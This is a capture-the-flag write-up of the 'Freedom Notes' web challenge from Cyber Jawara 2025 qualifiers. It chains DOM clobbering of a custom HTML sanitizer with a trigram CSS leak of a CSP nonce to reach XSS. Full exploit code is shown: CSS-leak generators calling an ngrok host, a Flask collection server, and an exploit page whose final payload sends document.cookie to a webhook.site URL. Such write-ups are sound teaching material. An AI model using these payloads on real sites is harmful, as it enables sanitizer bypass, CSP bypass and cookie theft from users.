Skip to content

Back to all posts

Exploiting DOM Clobbering and Using Trigram CSS Leak to Expose Nonce: Freedom Notes - Cyber Jawara National 2025 Quals Writeup

Make your notes has freedom, a freedom from sanitizerIn this challenge, we will exploit two vulnerabilities to gain XSS. The first is DOM Clobbering in the sanitize function in the index.html file, wh...

D

Dimas Maulana

6 min read

5 categories

Share:

Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.

Exploiting DOM Clobbering and Using Trigram CSS Leak to Expose Nonce: Freedom Notes - Cyber Jawara National 2025 Quals Writeup

Description

Make your notes has freedom, a freedom from sanitizer

Summary

In this challenge, we will exploit two vulnerabilities to gain XSS. The first is DOM Clobbering in the sanitize function in the index.html file, which uses the DOMParser function to sanitize the HTML. We can manipulate this through DOM Clobbering to create unexpected behavior, allowing us to inject arbitrary HTML inside.

The second vulnerability is a CSS leak to bypass the CSP. The application adds a meta tag that implements CSP rules and includes a nonce. We need to obtain the nonce first via a CSS leak. In this scenario, because there is only limited time (12 seconds) in the bot, we need a fast CSS leak technique. We will use the Trigrams CSS Leak technique, which is faster than common CSS leaks, making the XSS possible.

Exploitation of DOM Clobbering

The index.html file contains a sanitize function that uses the DOMParser to sanitize the HTML input. However, this function is vulnerable to DOM Clobbering, a technique that can be used to create unexpected behavior.

function sanitize(html) {

            var allowedElements = {
                allowedTags: {
                    '#text': true,
                    BODY: true,
                    FORM: true,
                    A: true,
                    B: true,
                    IMG: true,
                },
                allowedAttributes: {
                    src: true,
                    style: true,
                },
            };

            function removeNodeFromParent(targetNode) {
                if (targetNode && targetNode.parentNode) {
                    targetNode.parentNode.removeChild(targetNode);
                }
            }

            function purifyNode(currentNode) {
                console.log("Current Node: ", currentNode.nodeName);
                if (!allowedElements.allowedTags[currentNode.nodeName]) {
                    removeNodeFromParent(currentNode);
                    return;
                }

                if(currentNode.nodeName === '#text'){
                    return;
                }

                var nodeAttributes = currentNode.attributes;
                var childNodesList = currentNode.childNodes;
                var attrCount = currentNode.attributes.length;
                var idx;

                idx = attrCount;
                while (idx--) {
                    var attrName = nodeAttributes[idx].name;
                    console.log("Attribute Name: ", attrName, allowedElements.allowedAttributes[attrName]);
                    if (!allowedElements.allowedAttributes[attrName]) {
                        currentNode.removeAttribute(attrName);
                    }
                }

                var childCount = childNodesList.length;
                var childIndex = 0;
                var nodesToCheck = [];

                for (childIndex = 0; childIndex < childCount; childIndex++) {
                    nodesToCheck.push(childNodesList[childIndex]);
                }

                for (childIndex = 0; childIndex < nodesToCheck.length; childIndex++) {
                    purifyNode(nodesToCheck[childIndex]);
                }
            }

            function HTMLSanitizer(rawHTMLString) {
                var parser = new DOMParser();
                var parsedDoc = parser.parseFromString(rawHTMLString, "text/html");

                purifyNode(parsedDoc.body);
                console.log("Parsed Doc: ", parsedDoc.body.innerHTML);
                return parsedDoc.body.innerHTML;
            }

            return HTMLSanitizer(html);
        }
        document.location.hash = "";
        let note = document.getElementById('note')

        window.onhashchange = () => {
            if (document.location.hash){
                note.innerHTML = sanitize(decodeURIComponent(document.location.hash.slice(1)));
            }
            document.location.hash = "";
        };

Reference from here https://www.fastmail.com/blog/sanitising-html-the-dom-clobbering-issue/ we can exploit this behaiour by inputing the following string:

<form><input name="childNodes"><input name="childNodes"><style>@import url(${origin}/static/css/first.css);</style></form>

In this case, the style or whatever is inside the form will not get sanitized, allowing us to inject HTML and execute XSS. However, due to the CSP that includes a nonce in the meta tag, we cannot directly execute the XSS. To bypass the CSP, we need to obtain the nonce.

Bypassing CSP Through CSS Leak

The application implements a CSP that includes a nonce to prevent arbitrary JavaScript execution. To bypass this, we must obtain the nonce value. We can acquire the nonce by employing the Trigrams CSS Leak technique. Why trigrams? Because this approach is faster than regular CSS leak techniques, which is crucial given the bot's limited lifespan. The configuration can be found here:

        await page.setCookie({
			name: 'flag',
			value: FLAG,
			domain: new URL(APP_URL).hostname,
            httponly: false
		});
        await page.goto(url, { timeout: 2 * 1000, waitUntil: 'networkidle2' })
        await sleep(10000)

According to the article at

https://waituck.sg/2023/12/11/0ctf-2023-newdiary-writeup.html , we can use the following script to perform a CSS leak and obtain the nonce:

#!/usr/bin/env python3

import itertools

URL = "http://8.tcp.ngrok.io:15484"

TEMPLATE_START = '''*{display:block} script[nonce^="%s"]{
    --props_%s: url(%s?START=%s);
}
'''

TEMPLATE_MATCH = '''*{display:block} script[nonce*="%s"]{
    --prop_%s: url(%s?MATCH=%s);
}
'''

TEMPLATE_END = '''*{display:block} script[nonce$="%s"]{
    --prope_%s: url(%s?END=%s);
}
'''

TEMPLATE_META =  '''*{display:block} meta[content*="%s"]{
    --prop_%s: url(%s?MATCH=%s);
}
'''

TEMPLATE_BACKGROUND_SCRIPT = '''*{display:block} script[nonce]{
    background: %s;
}
'''

TEMPLATE_BACKGROUND_META = '''*{display:block} meta[content]{
    background: %s;
}
'''

CHARSET = "abcdefghijklmnopqrstuvwxyz0123456789"

CSS_DIR = "static/css"

all_css = ""
props = []

for cs in itertools.product(CHARSET, repeat=2):
    s = "".join(cs)
    all_css += TEMPLATE_START % (s, s, URL, s)
    all_css += TEMPLATE_END % (s, s, URL, s)
    props.append(f"var(--props_{s},none)")
    props.append(f"var(--prope_{s},none)")

all_css2 = ""
props_2 = []

for i, cs in enumerate(itertools.product(CHARSET, repeat=3)):
    s = "".join(cs)
    if i <= 22000:
        all_css += TEMPLATE_MATCH % (s, s, URL, s)
        props.append(f"var(--prop_{s},none)")
    else:
        all_css2 += TEMPLATE_META % (s, s, URL, s)
        props_2.append(f"var(--prop_{s},none)")

with open(f'{CSS_DIR}/first.css', 'wt') as fp:
    fp.write(all_css)
    fp.write(TEMPLATE_BACKGROUND_SCRIPT % (",".join(props)))

with open(f'{CSS_DIR}/second.css', 'wt') as fp:
    fp.write(all_css2)
    fp.write(TEMPLATE_BACKGROUND_META % (",".join(props_2)))

We can then use the obtained nonce in the injected payload to bypass the Content Security Policy and execute the XSS attack.

from flask import Flask, request, send_from_directory, jsonify
import requests
import random
import string

app = Flask(__name__, static_folder='static')

index = open("static/index.html").read()

GSTART = ""
GEND = ""
GTRIGRAMS = []
PREV_TRIGRAMS_LEN = len(GTRIGRAMS)

s = requests.Session()

def random_char(y):
    return ''.join(random.choice(string.ascii_letters) for x in range(y))

@app.route("/static/<path:filename>")
def static_files(filename):
    return send_from_directory(app.static_folder, filename)

@app.route("/exploit", methods=["GET"])
def exploit():
    TARGET = "http://webapp:8001/"
    html = index.replace("{{target}}", TARGET)
    return html, 200

@app.route("/", methods=["GET"])
def root():
    global GSTART, GEND, GTRIGRAMS
    START = request.args.get('START', "")
    END = request.args.get('END', "")
    MATCH = request.args.get('MATCH', "")

    if len(START) > 0:
        GSTART = START
    elif len(END) > 0:
        GEND = END
    elif len(MATCH) > 0:
        GTRIGRAMS.append(MATCH)
    print(GSTART, GEND, GTRIGRAMS)
    return jsonify(message="Hello World")

@app.route("/nonce", methods=["GET"])
def getnonce():
    global GSTART, GEND, GTRIGRAMS, PREV_TRIGRAMS_LEN
    try:
        curr_trigrams_len = len(GTRIGRAMS)
        if curr_trigrams_len == PREV_TRIGRAMS_LEN and curr_trigrams_len != 0:
            nonce = trigram_solver(GTRIGRAMS, start=GSTART, end=GEND)
            nonce = next(iter(nonce))
            return jsonify(nonce=nonce)
        PREV_TRIGRAMS_LEN = curr_trigrams_len
    except Exception as e:
        print(e)
    return jsonify(nonce="")

def trigram_solver(l, start="t2", end='ud'):
    s = set(l)
    solved = start
    candidates = set([solved])
    while len(next(iter(candidates))) != 32:
        print(len(next(iter(candidates))), len(candidates))
        new_candidates = set()
        for candidate in candidates:
            last_chr = candidate[-2:]
            for cs in s:
                if cs.startswith(last_chr):
                    new_candidate = candidate + cs[-1]
                    new_candidates.add(new_candidate)
        candidates = new_candidates
    final_candidates = set()
    for candidate in candidates:
        if candidate.endswith(end):
            final_candidates.add(candidate)
    return final_candidates

if __name__ == "__main__":
    app.run(debug=True, host='0.0.0.0', port=8000)

Getting The XSS

Now that we have HTML injection and Nonce, we must connect the dots because the program uses a bot. To do this, we can add an arbitrary URL for the bot to visit, which will direct it to the website that contains our payload:

<html>
    <script>
        const TARGET = "{{target}}"
        // https://www.fastmail.com/blog/sanitising-html-the-dom-clobbering-issue/
        
        let w = open(TARGET);
        let sleep = (ms) => new Promise(resolve => setTimeout(resolve, ms));
        (async () => {
            await sleep(1000);
            w.location = `${TARGET}#<form><input name="childNodes"><input name="childNodes"><style>@import url(${origin}/static/css/first.css);</style></form>`
            

            await sleep(5000);
            w.location = `${TARGET}#<form><input name="childNodes"><input name="childNodes"><style>@import url(${origin}/static/css/second.css);</style></form>`
            // get nonce
            let nonce = "";
            while (true) {
                nonce = await fetch("/nonce").then(r => r.json());
                console.log(nonce);
                if (nonce.nonce.length != 32) {
                    await sleep(1000);
                } else {
                    break;
                }
            }

            w.location = TARGET +`#<form><input name="childNodes"><input name="childNodes"><iframe srcdoc="<script nonce=${nonce.nonce}>fetch(\`https://webhook.site/ff33c67d-c541-4203-b0a9-514187c18663?$\{document.cookie\}\`)<\/script>"></iframe></form>`
        })();

    </script>
</html>

Our target to attack will be a new window that is opened by this payload. After that, our parent page will modify the target hash to alter the HTML and inject our payload. Initially, the payload will inject the first script.css, after which the second script will be injected. Then, the application will wait for our app to complete solving the trigrams. Once we get the nonce, we can use it to inject iframes containing scripts with nonces that will be run upon loading and send our flag to the webhook.

Finally, remember to modify our attacker's server and webhook in order to obtain the flag.

Reference

Categories & Topics

This article is categorized under the following topics. Click on any category to explore more related content.

Share this post

Share:

Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.